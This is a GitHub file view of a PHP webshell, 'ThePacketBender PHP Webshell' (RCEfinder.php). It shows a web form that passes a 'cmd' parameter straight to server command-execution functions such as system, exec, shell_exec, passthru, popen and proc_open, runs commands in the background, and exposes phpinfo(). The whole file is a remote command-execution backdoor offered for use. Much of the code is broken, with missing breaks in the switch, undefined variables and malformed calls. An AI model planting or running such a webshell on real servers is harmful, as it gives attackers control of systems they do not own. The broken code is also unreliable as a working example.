-
Notifications
You must be signed in to change notification settings - Fork 7
/
Copy pathRCEfinder.php
executable file
·211 lines (192 loc) · 4.49 KB
/
RCEfinder.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
<?php
echo '<html>';
echo '<head>';
echo '</head>';
echo '<body>';
//heading
echo '<div align="center" name="heading">';
echo '<p><b>ThePacketBender PHP Webshell</b></p>';
echo '<p>testing php command execution</p>';
echo '<br/>'. php_uname();
echo '</div>';
//inputs(GET)
$iget = <<<'IGET'
<div align="left" name="in">
<form action ="?" method="get" style="margin-left:10%;">
<fieldset>
<br/><input type="text" name="cmd" style="width:550px;height:50px;">
<br/><select name="function" style="width:30%" style="padding-right:4%;">
IGET;
$optvals = array(
"backticks" => "backticks [unix]",
"exe" => "exec [unix(sh/suexec)/win(cmd.exe)]",
"exebg" => "execBackground(custom function) [unix(sd/suexec)/win(cmd, no window)]",
"pcntlexe" => "pcntl_exec [unix]",
"pthru" => "passthru [unix/win]",
"popen" => "popen [unix/win]",
"procopen" => "proc_open [unix]",
"sexec" => "shell_exec [unix(sh)/win(cmd.exe)]",
"sys" => "system [unix(sh)/win(cmd.exe)]"
);
function ugot($optvals){
foreach($optvals as $v => $val){
echo '<option value ="' . $v . '">' . $val . '</option>';
}
}
$igot = ' </select>
<input type="checkbox" name="process" value="isProcess" style="padding-left=10px"> run as process?
<input type="submit" value="submit" style="padding-left=25px;">
</fieldset>
</form>
</div>';
echo $iget;
ugot($optvals);
echo $igot;
//print status
foreach ($pro as $x) {
$x.dispProc();
}
//classes for custom rce stdio
class Process{
private $pid;
private $cmd;
//execute command to ignore signals
private function runCmd(){
if (substr(php_uname(), 0, 7) == "Windows"){
$cmd = 'START /B /min '.$this->cmd;
}
else{
$cmd = 'nohup '.$this->cmd.' 2>/dev/null 2>&1 & echo $!';
//exec($cmd, $output, $rl);
$this->pid = (int)$op[0];
}
}
//set process ID
public function sPid($pid){
$this->pid = $pid;
}
//get process ID
public function gPid(){
return $this->pid;
}
//check status if command execution is non-blind
public function ps(){
//define command command for given OS
if (substr(php_uname(), 0, 7) == "Windows"){
$this->cmd = 'tasklist | FINDSTR '.$this->pid;
}
else {
$this->cmd = 'ps -aux | grep '.$this->pid;
}
//exec($command,$op);
if (!isset($op[1]))return false;
else return true;
}
public function start(){
if ($this->cmd . $this->cmd != ''){
$this->runCom();
}
else{
return true;
}
}
public function stop(){
gPid();
$this->cmd = 'kill '. $this->pid;
//exec($command,$op);
if ($this->status() == false){
return true;
}
else {
return false;
}
}
public function dispProc(){
echo $this->pid .' '. $this->cmd .'<input type="submit" value="kill" style="padding-left=10px;">';
}
}
//functions for custom rce stdio
function execBackground($cmd) {
if (substr(php_uname(), 0, 7) == "Windows"){
pclose(popen("start /B ". $cmd, "r"));
}
else {
exec($cmd . " > /dev/null &");
}
}
$i = 0;
$pro = array();
function proc($cmd) {
$i++;
$i = new Process();
$i->cmd = $cmd;
$i.start();
$pro[] = &$i;
return $cmd;
}
//standard output
function stdout($cmd) {
//check for value
if ($_GET["cmd"] != NULL){
$cmd = $_GET["cmd"];
}
//instantiate as Process if true
if ($_GET["isProcess"] == True){
//DO WORK HERE
//THIS IS WHERE class object returns code for jobbing
//e.g. cmd = ProcessName->cmd . $_GET($cmd);
$prefix = proc($cmd);
$prefix .= $cmd;
$cmd = prefix;
}
echo '<br/><br/><div name="out" style="margin-left:10%;">';
switch ($_GET["function"]) {
case backticks:
echo `$cmd`;
case exe:
exec($cmd,$output,$rv);
print "return value " . $rv;
print "----------------------";
print "--------output--------";
print "----------------------";
echo '<div style=margin-left:5%>';
print $output;
//made redundant?
case exebg:
execBackground($cmd);
case pcntlexe:
$args = preg_split('/ /', $_GET[cmd], 1, PREG_SPLIT_OFFSET_CAPTURE);
echo pcntl_exec($cmd[0],$args);
case popn:
$rets = popen($cmd, 'r');
$read = fread($rets, 4096);
echo $read;
case procopen:
$descriptor = array(
0 => array("pipe", "r"), //stdin
1 => array("pipe", "w"), //stdout
2 => array("file", "/dev/null", "a") //stderr
);
echo proc_open($cmd, $descriptor);
case pthru:
$rets = "";
passthru($cmd, $rets);
print $rets;
case sexec:
echo shell_exec($_GET["cmd"]);
case sys:
$rets = "";
system($cmd, $rets);
print $rets;
default:
}
echo '</div>';
}
print(stdout());
echo '<br/>';
if ($_GET[$pinfo]=pinfo) {
echo phpinfo();
}
echo '</body>';
echo '</html>';
?>